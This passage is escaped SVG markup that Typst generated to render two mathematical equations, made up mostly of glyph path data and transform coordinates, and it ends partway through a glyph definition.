&lt;svg class="typst-frame" style="overflow: visible; width: 7.4487em; height: 2.1330000000000005em;" viewBox="0 0 81.9357 23.463000000000005" width="81.9357pt" height="23.463000000000005pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 15.675000000000002)"&gt;&lt;use xlink:href="#g288EB05AEC3878210F61A71EB8174F80" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 9.347555555555555 15.675000000000002)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 22.06111111111111 8.228)"&gt;&lt;use xlink:href="#g7182C75A51F271CEF3AD78C0B249CDFA" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 28.60611111111111 8.228)"&gt;&lt;use xlink:href="#gB94B0503E73A4218271A476A273D1963" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 37.21911111111111 8.228)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 41.49811111111111 8.228)"&gt;&lt;use xlink:href="#g4A68A2F7AB9BBD132A3C5675F3B3C604" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 47.91111111111111 4.234999999999999)"&gt;&lt;use xlink:href="#g271E8A5CE66D10B7B9EE9596B45F2012" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 54.14395555555555 8.228)"&gt;&lt;use xlink:href="#g6223D3E1479D5A6679888A176FD9D085" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 65.14639999999999 8.228)"&gt;&lt;use xlink:href="#g4A68A2F7AB9BBD132A3C5675F3B3C604" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 71.5594 4.234999999999999)"&gt;&lt;use xlink:href="#g271E8A5CE66D10B7B9EE9596B45F2012" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 71.5594 10.944999999999999)"&gt;&lt;use xlink:href="#gC3162A99CC13006AF7DF373A81A99390" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 76.55669999999999 8.228)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 41.30420555555555 23.221000000000004)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 46.80420555555555 23.221000000000004)"&gt;&lt;use xlink:href="#g71307B3400910B365F8C3AC456102A10" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 52.30420555555555 23.221000000000004)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 57.804205555555555 20.042000000000005)"&gt;&lt;use xlink:href="#g271E8A5CE66D10B7B9EE9596B45F2012" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;path class="typst-shape" fill="none" stroke="#000000" stroke-width="0.528" stroke-linecap="butt" stroke-linejoin="miter" stroke-miterlimit="4" transform="matrix(1 0 0 1 22.06111111111111 12.925)" d="M 0 0h 58.77459 "/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g288EB05AEC3878210F61A71EB8174F80" overflow="visible"&gt;&lt;path d="M 0 0m 5.797 4.103 c 0 0.50600004 -0.4949999 0.7589998 -1.0450001 0.7589998 c -0.47300005 0 -0.8469999 -0.25299978 -1.1329999 -0.7589998 c -0.23099995 0.50600004 -0.61599994 0.7589998 -1.177 0.7589998 c -0.5389999 0 -0.979 -0.25299978 -1.331 -0.74800014 c -0.29699993 -0.4289999 -0.45099998 -0.7479999 -0.45099998 -0.9569998 c 0 -0.09899998 0.055000007 -0.15400004 0.16500002 -0.15400004 c 0.09900004 0 0.16500002 0.055000067 0.18699998 0.15400004 c 0.20899999 0.638 0.671 1.3859997 1.4080001 1.3859997 c 0.36299992 0 0.5389998 -0.23099995 0.5389998 -0.6819997 c 0 -0.23100019 -0.19799995 -1.089 -0.58299994 -2.5630002 c -0.18700004 -0.737 -0.51699996 -1.1 -0.9899999 -1.1 c -0.15400004 0 -0.29700005 0.033000007 -0.41800004 0.088000014 c 0.28599995 0.109999985 0.42899996 0.30799997 0.42899996 0.594 c 0 0.286 -0.143 0.42900002 -0.43999994 0.42900002 c -0.36300004 0 -0.638 -0.30799997 -0.638 -0.671 c 0 -0.50600004 0.51699996 -0.759 1.056 -0.759 c 0.462 0 0.83599997 0.253 1.1329999 0.759 c 0.20900011 -0.50600004 0.605 -0.759 1.177 -0.759 c 0.5279999 0 0.96799994 0.253 1.3200002 0.74799997 c 0.29699993 0.42900002 0.45099974 0.748 0.45099974 0.957 c 0 0.09899998 -0.05499983 0.15400004 -0.16499996 0.15400004 c -0.09899998 0 -0.1539998 -0.055000067 -0.1869998 -0.15400004 c -0.18700027 -0.627 -0.68200016 -1.386 -1.3970001 -1.386 c -0.36300015 0 -0.54999995 0.21999998 -0.54999995 0.671 c 0 0.14299995 0.05499983 0.45099992 0.17599988 0.9459999 l 0.37400007 1.485 c 0.20899987 0.82500005 0.54999995 1.2429998 1.0340002 1.2429998 c 0.1539998 0 0.29699993 -0.032999992 0.41799974 -0.08799982 c -0.29699993 -0.09899998 -0.44000006 -0.29699993 -0.44000006 -0.59399986 c 0 -0.286 0.15400028 -0.42900014 0.4510002 -0.42900014 c 0.35199976 0 0.62699986 0.319 0.62699986 0.67100024 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gEF8BA589DAA93C55687BBE9F18D785DF" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 4.037 h -6.798 c -0.176 0 -0.264 -0.0880003 -0.264 -0.25300026 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.13199997 -0.12099981 0.25300026 -0.26399994 0.25300026 Z m 0 -2.0680003 h -6.798 c -0.176 0 -0.264 -0.08799994 -0.264 -0.25300002 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.143 -0.12099981 0.25300002 -0.26399994 0.25300002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g7182C75A51F271CEF3AD78C0B249CDFA" overflow="visible"&gt;&lt;path d="M 0 0m 5.764 4.741 h -3.6299999 c -0.4510001 0 -0.8470001 -0.17600012 -1.1660001 -0.5170002 c -0.15399998 -0.16499996 -0.671 -0.86899996 -0.671 -1.0120001 c 0.044 -0.0769999 0.044 -0.14299989 0.176 -0.14299989 c 0.07700002 0 0.143 0.04399991 0.20899999 0.14299989 c 0.35200006 0.53900003 0.80300003 0.8140001 1.342 0.8140001 h 0.5610001 c -0.25300002 -0.957 -0.71500003 -2.134 -1.375 -3.5310001 c -0.055000067 -0.132 -0.08800006 -0.231 -0.08800006 -0.286 c 0 -0.22 0.12100005 -0.32999998 0.352 -0.32999998 c 0.20899999 0 0.36300004 0.121 0.462 0.352 c 0.19800007 0.627 0.34099996 1.1110001 0.4180001 1.441 l 0.6049998 2.354 h 1.1330001 c -0.29699993 -1.309 -0.45099998 -2.2220001 -0.45099998 -2.739 c 0 -0.5389999 0.12100005 -1.408 0.5280001 -1.408 c 0.23099995 0 0.48399973 0.22 0.48399973 0.45099998 c 0 0.055000007 -0.021999836 0.143 -0.065999985 0.25300002 c -0.20900011 0.517 -0.3080001 1.0999999 -0.3080001 1.7710001 c 0 0.51699996 0.065999985 1.0779998 0.18700027 1.6719999 h 1.1989999 c 0.38500023 0 0.572 0.13199997 0.572 0.40700006 c 0 0.25299978 -0.19799995 0.3080001 -0.47300005 0.3080001 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gB94B0503E73A4218271A476A273D1963" overflow="visible"&gt;&lt;path d="M 0 0m 8.129 5.841 c 0 0.5609999 -0.28599977 0.9899998 -0.84699965 1.2979999 c -0.4510002 0.25300026 -0.99000025 0.37400007 -1.5950003 0.37400007 h -3.1019998 c -0.25300002 0 -0.36300015 -0.011000156 -0.36300015 -0.26399994 c 0 -0.07700014 0.032999992 -0.13199997 0.099000216 -0.14300013 c 0.109999895 -0.011000156 0.19799995 -0.021999836 0.25299978 -0.021999836 c 0.33000016 -0.011000156 0.5170002 -0.032999992 0.572 -0.04400015 c 0.055000067 -0.011000156 0.08800006 -0.04400015 0.08800006 -0.09899998 c 0 -0.021999836 -0.010999918 -0.08799982 -0.04399991 -0.19799995 l -1.452 -5.841 c -0.055000067 -0.24200004 -0.16500008 -0.39600003 -0.33000004 -0.451 c -0.07700002 -0.022000015 -0.27499998 -0.033000022 -0.616 -0.033000022 c -0.24199998 0 -0.341 -0.010999978 -0.341 -0.253 c 0 -0.12099999 0.066000015 -0.176 0.19799998 -0.16499999 l 1.3640001 0.033 l 1.3859999 -0.033 c 0.17600012 -0.011 0.26399994 0.088 0.26399994 0.253 c 0 0.110000014 -0.12099981 0.16499999 -0.352 0.16499999 c -0.43999982 0 -0.65999985 0.055000007 -0.65999985 0.15400004 c 0 0 0.010999918 0.021999955 0.032999992 0.176 l 0.704 2.849 h 1.2649999 c 0.7590003 0 1.144 -0.319 1.144 -0.94599986 c 0 -0.09899998 -0.05499983 -0.34100008 -0.1539998 -0.737 c -0.12100029 -0.462 -0.17600012 -0.77 -0.17600012 -0.93500006 c 0 -0.83599997 0.64900017 -1.221 1.4850001 -1.221 c 0.3079996 0 0.605 0.143 0.90199995 0.41799998 c 0.29699993 0.275 0.4510002 0.572 0.4510002 0.88 c 0 0.110000014 -0.055000305 0.16499996 -0.1760006 0.16499996 c -0.076999664 0 -0.14299965 -0.054999948 -0.17599964 -0.176 c -0.12100029 -0.34099996 -0.2750001 -0.594 -0.4510002 -0.737 c -0.17600012 -0.143 -0.34100008 -0.22 -0.50600004 -0.22 c -0.25299978 0 -0.38499975 0.20899999 -0.38499975 0.616 c 0 0.264 0.032999992 0.671 0.11000013 1.232 c 0.032999992 0.23100007 0.043999672 0.39600003 0.043999672 0.5170001 c 0 0.58299994 -0.3080001 1.0119998 -0.9239998 1.276 c 1.0339999 0.25299978 2.2879996 0.9899998 2.2879996 2.112 Z m -1.4299998 0.93499994 c 0.22000027 -0.14300013 0.32999992 -0.38500023 0.32999992 -0.72599983 c 0 -0.22000027 -0.043999672 -0.47300005 -0.14299965 -0.77000046 c -0.2970004 -0.90199995 -1.0450001 -1.3529997 -2.244 -1.3529997 h -1.1660001 l 0.6930001 2.783 c 0.05499983 0.23099995 0.14299965 0.35199976 0.26399994 0.36299992 c 0.05499983 0.011000156 0.2750001 0.011000156 0.65999985 0.011000156 c 0.71500015 0 1.1329999 -0.022000313 1.606 -0.3080001 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g4A68A2F7AB9BBD132A3C5675F3B3C604" overflow="visible"&gt;&lt;path d="M 0 0m 0.946 -0.143 c 0.12100005 0 0.25300002 0.07700001 0.39600003 0.24200001 l 2.563 3.036 c 0.385 -1.056 0.67100024 -1.848 0.85800004 -2.387 c 0.12099981 -0.34100002 0.19799995 -0.53900003 0.25299978 -0.61600006 c 0.12100029 -0.16499999 0.3300004 -0.253 0.6160002 -0.253 h 0.23099995 c 0.11000013 0.011 0.16499996 0.055 0.16499996 0.154 c 0 0.022 -0.021999836 0.066 -0.065999985 0.121 c -0.07700014 0.07700001 -0.1539998 0.242 -0.2420001 0.495 l -2.2109997 6.1819997 c -0.18700004 0.53900003 -0.638 0.803 -1.3530002 0.803 c -0.16499996 0 -0.24199986 -0.05499983 -0.24199986 -0.16499996 c 0 -0.076999664 0.065999985 -0.13199997 0.18700004 -0.16499996 c 0.1539998 -0.04400015 0.25300002 -0.09899998 0.30799985 -0.16499996 c 0.07700014 -0.08799982 0.18700004 -0.3080001 0.3080001 -0.65999985 l 1.0450001 -2.937 l -2.97 -2.959 c -0.143 -0.143 -0.20899999 -0.264 -0.20899999 -0.363 c 0 -0.198 0.16500002 -0.363 0.36299998 -0.363 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g271E8A5CE66D10B7B9EE9596B45F2012" overflow="visible"&gt;&lt;path d="M 0 0m 2.7412 1.925 c 0 0.6391001 -0.5158999 1.155 -1.155 1.155 c -0.6391 0 -1.155 -0.5158999 -1.155 -1.155 c 0 -0.63909996 0.5159 -1.155 1.155 -1.155 c 0.6391001 0 1.155 0.5159 1.155 1.155 Z m -0.3541999 0 c 0 -0.44659996 -0.35420012 -0.80079997 -0.8008001 -0.80079997 c -0.44659996 0 -0.8008 0.3542 -0.8008 0.80079997 c 0 0.44659996 0.35420007 0.8008001 0.8008 0.8008001 c 0.44659996 0 0.8008001 -0.35420012 0.8008001 -0.8008001 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g6223D3E1479D5A6679888A176FD9D085" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 2.97 h -6.798 c -0.176 0 -0.264 -0.07700014 -0.264 -0.22000003 c 0 -0.14300013 0.088 -0.22000003 0.264 -0.22000003 h 6.798 c 0.17600012 0 0.26399994 0.0769999 0.26399994 0.22000003 c 0 0.13199997 -0.13199997 0.22000003 -0.26399994 0.22000003 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gC3162A99CC13006AF7DF373A81A99390" overflow="visible"&gt;&lt;path d="M 0 0m 3.9732 2.4563 c 0 0.8701 -0.15400004 1.5323 -0.45430017 1.9866002 c -0.24639988 0.38499975 -0.7391999 0.66989994 -1.3320999 0.66989994 c -0.2464 0 -0.46969998 -0.03850031 -0.6622 -0.12319994 c -0.847 -0.35420036 -1.1242001 -1.3398001 -1.1242001 -2.5333002 c 0 -0.26180005 0.015400022 -0.50820005 0.03850001 -0.7469001 c 0.13090003 -1.0086999 0.6006 -1.8634 1.7479 -1.8634 c 0.24639988 0 0.4697001 0.038499996 0.6622 0.1232 c 0.8470001 0.34649998 1.1242001 1.309 1.1242001 2.4871001 Z m -0.8778 1.7093999 c 0.08469987 -0.28489995 0.1308999 -0.8162 0.1308999 -1.6092999 c 0 -0.75460005 -0.030800104 -1.2859001 -0.10010004 -1.6016 c -0.092400074 -0.4543 -0.41579986 -0.8316 -0.93939996 -0.8316 c -0.1925 0 -0.385 0.0616 -0.56210005 0.1925 c -0.23869991 0.1771 -0.385 0.5236 -0.44659996 1.0548999 c -0.023100019 0.17710006 -0.030799985 0.5698 -0.030799985 1.1858001 c 0 0.74689984 0.03849995 1.2628 0.11549997 1.5399997 c 0.13090003 0.49280024 0.4389 0.7392001 0.924 0.7392001 c 0.4619999 0 0.8008001 -0.30030012 0.9086001 -0.66989994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g71307B3400910B365F8C3AC456102A10" overflow="visible"&gt;&lt;path d="M 0 0m 2.75 7.3259997 c -0.53900003 0 -1.012 -0.17599964 -1.408 -0.5279999 c -0.39600003 -0.35199976 -0.594 -0.7919998 -0.594 -1.3309999 c 0 -0.4510002 0.16499996 -0.8579998 0.495 -1.2210002 c 0.0769999 -0.08799982 0.319 -0.27499986 0.72599995 -0.5609999 c -1.0009999 -0.51699996 -1.507 -1.188 -1.507 -2.0019999 c 0 -0.58299994 0.24199998 -1.056 0.71500003 -1.4189999 c 0.43999994 -0.341 0.957 -0.506 1.562 -0.506 c 0.61599994 0 1.155 0.198 1.6059997 0.594 c 0.4510002 0.39600003 0.68200016 0.913 0.68200016 1.518 c 0 0.5059999 -0.17600012 0.9569999 -0.53900003 1.364 c -0.13199997 0.14300013 -0.47300005 0.3959999 -1.0119998 0.737 c 0.8469999 0.45099998 1.2650001 1.023 1.2650001 1.694 c 0 1.0009999 -0.95700026 1.6609998 -1.9910002 1.6609998 Z m 1.4190001 -1.6609998 c 0 -0.572 -0.34100008 -1.0669999 -1.0230002 -1.474 l -1.3089999 0.8579998 c -0.34099996 0.22000027 -0.5170001 0.50600004 -0.5170001 0.8470001 c 0 0.65999985 0.71500015 1.0669999 1.4190001 1.0669999 c 0.7589998 0 1.4300001 -0.53900003 1.4300001 -1.2979999 Z m -1.4190001 -5.511 c -0.90199995 0 -1.661 0.649 -1.661 1.5289999 c 0 0.7370001 0.40700006 1.331 1.221 1.782 l 1.2980001 -0.82500005 c 0.5280001 -0.34099984 0.79200006 -0.72599983 0.79200006 -1.1659999 c 0 -0.792 -0.82500005 -1.3199999 -1.6500001 -1.3199999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;
&lt;/div&gt;
&lt;div class="typst-equation"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 10.431133333333333em; height: 2.392em;" viewBox="0 0 114.74246666666667 26.311999999999998" width="114.74246666666667pt" height="26.311999999999998pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 15.905999999999999)"&gt;&lt;use xlink:href="#gD1F0DEADEB395B3F5C60AD3163D51B32" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 8.753555555555556 15.905999999999999)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 20.36711111111111 15.905999999999999)"&gt;&lt;use xlink:href="#gB94B0503E73A4218271A476A273D1963" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 30.813444444444446 15.905999999999999)"&gt;&lt;use xlink:href="#gCC5451BEECA4B84ABCFEB6565A2345D" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;use xlink:href="#gE74A1DA1461DD173556392A3E12594E8" x="3.0580000000000003" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 41.82077777777778 15.905999999999999)"&gt;&lt;use xlink:href="#g37B513BA8D64390002A04A49B67CCAF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;use xlink:href="#g90FAD8882417A70A245EA7AF3E069E28" x="4.279" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;use xlink:href="#gE74A1DA1461DD173556392A3E12594E8" x="9.779" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 57.715777777777774 15.905999999999999)"&gt;&lt;use xlink:href="#g6DD9E8DF00340CD54DF7DB1A55132A8D" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 65.81177777777776 15.905999999999999)"&gt;&lt;use xlink:href="#g96E425714DA052F0B9D8999A94C796EA" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 71.31177777777776 15.905999999999999)"&gt;&lt;use xlink:href="#g5221BB71B67A32DFA4EBA8DAD89FD215" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 76.81177777777776 11.912999999999998)"&gt;&lt;use xlink:href="#g271E8A5CE66D10B7B9EE9596B45F2012" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 83.04462222222222 15.905999999999999)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 95.14706666666667 8.458999999999998)"&gt;&lt;use xlink:href="#g8E0CA508A97FCEB9A01647420D81994A" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 101.75806666666668 4.465999999999998)"&gt;&lt;use xlink:href="#g271E8A5CE66D10B7B9EE9596B45F2012" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 97.59676666666668 23.451999999999995)"&gt;&lt;use xlink:href="#g19DB37D42873A9E80AFC41942A4D40C4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;path class="typst-shape" fill="none" stroke="#000000" stroke-width="0.528" stroke-linecap="butt" stroke-linejoin="miter" stroke-miterlimit="4" transform="matrix(1 0 0 1 95.14706666666667 13.155999999999999)" d="M 0 0h 10.3994 "/&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 106.64646666666667 15.905999999999999)"&gt;&lt;use xlink:href="#g2CF49FBCA8BCC5987D9958231542E6CA" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="gD1F0DEADEB395B3F5C60AD3163D51B32" overflow="visible"&gt;&lt;path d="M 0 0m 1.793 4.862 c -0.495 0 -0.88 -0.2750001 -1.155 -0.8249998 c -0.20900002 -0.42900014 -0.319 -0.7260003 -0.319 -0.8910003 c 0 -0.09899998 0.055000007 -0.1539998 0.176 -0.1539998 c 0.15399998 0 0.16499996 0.065999985 0.20899999 0.23099995 c 0.25300002 0.86899996 0.605 1.309 1.056 1.309 c 0.143 0 0.22000003 -0.09899998 0.22000003 -0.29699993 c 0 -0.17600012 -0.055000067 -0.42900014 -0.176 -0.74800014 c -0.41799998 -1.1329999 -0.627 -1.892 -0.627 -2.299 c 0 -0.83599997 0.51699996 -1.331 1.3639998 -1.331 c 0.36300015 0 0.704 0.132 1.0120001 0.396 c -0.385 -1.452 -0.99 -2.178 -1.8149999 -2.178 c -0.37400007 0 -0.6270001 0.12099993 -0.75900006 0.36299992 c 0.44000006 0.022000074 0.65999997 0.23100007 0.65999997 0.62700003 c 0 0.27500004 -0.14299989 0.41799998 -0.43999994 0.41799998 c -0.407 0 -0.649 -0.34099996 -0.649 -0.74799997 c 0 -0.605 0.55 -0.9899999 1.188 -0.9899999 c 1.265 0 2.2990003 1.1659999 2.574 2.244 l 1.0340004 4.158 c 0.032999992 0.12100029 0.043999672 0.20900011 0.043999672 0.26399994 c 0 0.22000027 -0.12099981 0.3300004 -0.35199976 0.3300004 c -0.17600012 0 -0.31900024 -0.0880003 -0.41800022 -0.25300026 c -0.065999985 -0.23099995 -0.12099981 -0.4289999 -0.1539998 -0.59399986 l -0.704 -2.8270001 c -0.11000013 -0.39600003 -0.6930001 -0.89100003 -1.1880002 -0.89100003 c -0.41799998 0 -0.62699986 0.275 -0.62699986 0.83599997 c 0 0.462 0.18700004 1.166 0.54999995 2.112 c 0.14299989 0.385 0.22000003 0.6489999 0.22000003 0.803 c 0 0.53900003 -0.385 0.93499994 -0.924 0.93499994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gEF8BA589DAA93C55687BBE9F18D785DF" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 4.037 h -6.798 c -0.176 0 -0.264 -0.0880003 -0.264 -0.25300026 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.13199997 -0.12099981 0.25300026 -0.26399994 0.25300026 Z m 0 -2.0680003 h -6.798 c -0.176 0 -0.264 -0.08799994 -0.264 -0.25300002 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 